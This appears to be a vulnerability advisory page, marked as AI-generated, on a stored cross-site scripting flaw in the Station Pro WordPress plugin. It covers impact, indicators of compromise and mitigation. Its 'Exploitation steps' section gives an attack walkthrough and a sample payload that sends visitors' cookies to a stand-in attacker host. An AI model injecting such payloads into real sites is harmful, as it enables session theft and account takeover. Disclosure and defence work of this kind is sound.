CVE-2025-7959
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-7959 is a Stored Cross-Site Scripting (XSS) vulnerability in the Station Pro plugin for WordPress, affecting all versions up to and including 2.4.2. The flaw exists in the width and height parameters due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on July 24, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability arises because the Station Pro plugin fails to properly sanitize user-supplied input in the width and height parameters before storing and rendering them in page output. An authenticated attacker with at least Contributor-level access can craft a malicious shortcode or block configuration containing JavaScript payloads in these parameters; the payload is stored in the database and executed in the browser of any user who subsequently visits the affected page (Red Hat CVE, Wordfence).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, enabling session hijacking, credential theft, unauthorized administrative actions, or redirection to malicious sites. The scope is marked as Changed, meaning the injected script can affect resources beyond the plugin's own security context. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-7959 as of the available data. The EPSS score is approximately 0.027%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Station Pro plugin version 2.4.2 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Craft malicious payload: Create or edit a post/page using the Station Pro plugin block or shortcode, and inject a JavaScript payload into the width or height parameter (e.g., width="1" onmouseover="document.location='https://attacker.com/steal?c='+document.cookie" or a <script> tag if the field is rendered unsanitized).
  4. Store the payload: Submit/publish the post or page, causing the malicious script to be stored in the WordPress database.
  5. Trigger execution: When a victim (e.g., an administrator) visits the injected page, the stored script executes in their browser, enabling session token theft, account takeover, or further malicious actions (Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Contributor-level accounts containing unusual values in width or height fields (e.g., values containing <script>, onerror, onmouseover, or encoded JavaScript).
  • Database: Unexpected JavaScript or HTML event handler strings stored in the wp_posts or wp_postmeta tables associated with Station Pro plugin content.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing Station Pro plugin content, potentially indicating cookie or credential exfiltration.
  • File System: No direct file system artifacts expected for stored XSS, but review plugin files for unauthorized modifications to station-pro plugin directory.

Mitigation and workarounds

WordPress site administrators should update the Station Pro plugin to a version beyond 2.4.2 that includes a fix for this vulnerability, once a patched release is made available by the plugin author. In the interim, restricting Contributor-level user registration and limiting who can create or edit posts using the Station Pro plugin reduces the attack surface. Deploying a Web Application Firewall (WAF) with XSS filtering rules — such as those provided by Wordfence — can help detect and block exploitation attempts (Wordfence).

Community reactions

Wordfence included CVE-2025-7959 in its weekly WordPress vulnerability report for July 21–27, 2025, highlighting it as part of a broader set of plugin vulnerabilities tracked that week. Red Hat also published a CVE advisory entry for this issue. No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability database aggregation (Wordfence, Red Hat CVE).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-78570CRITICAL9.8
  • totaldonations
NoNoAug 25, 2026
CVE-2026-78568CRITICAL9.8
  • totaldonations
NoNoAug 25, 2026
CVE-2026-78572HIGH8.1
  • kalles-addons
NoNoAug 25, 2026
CVE-2026-78576HIGH7.5
  • readabler
NoYesAug 25, 2026
CVE-2026-76128MEDIUM6.4
  • ecommerce-product-catalog
NoYesAug 25, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management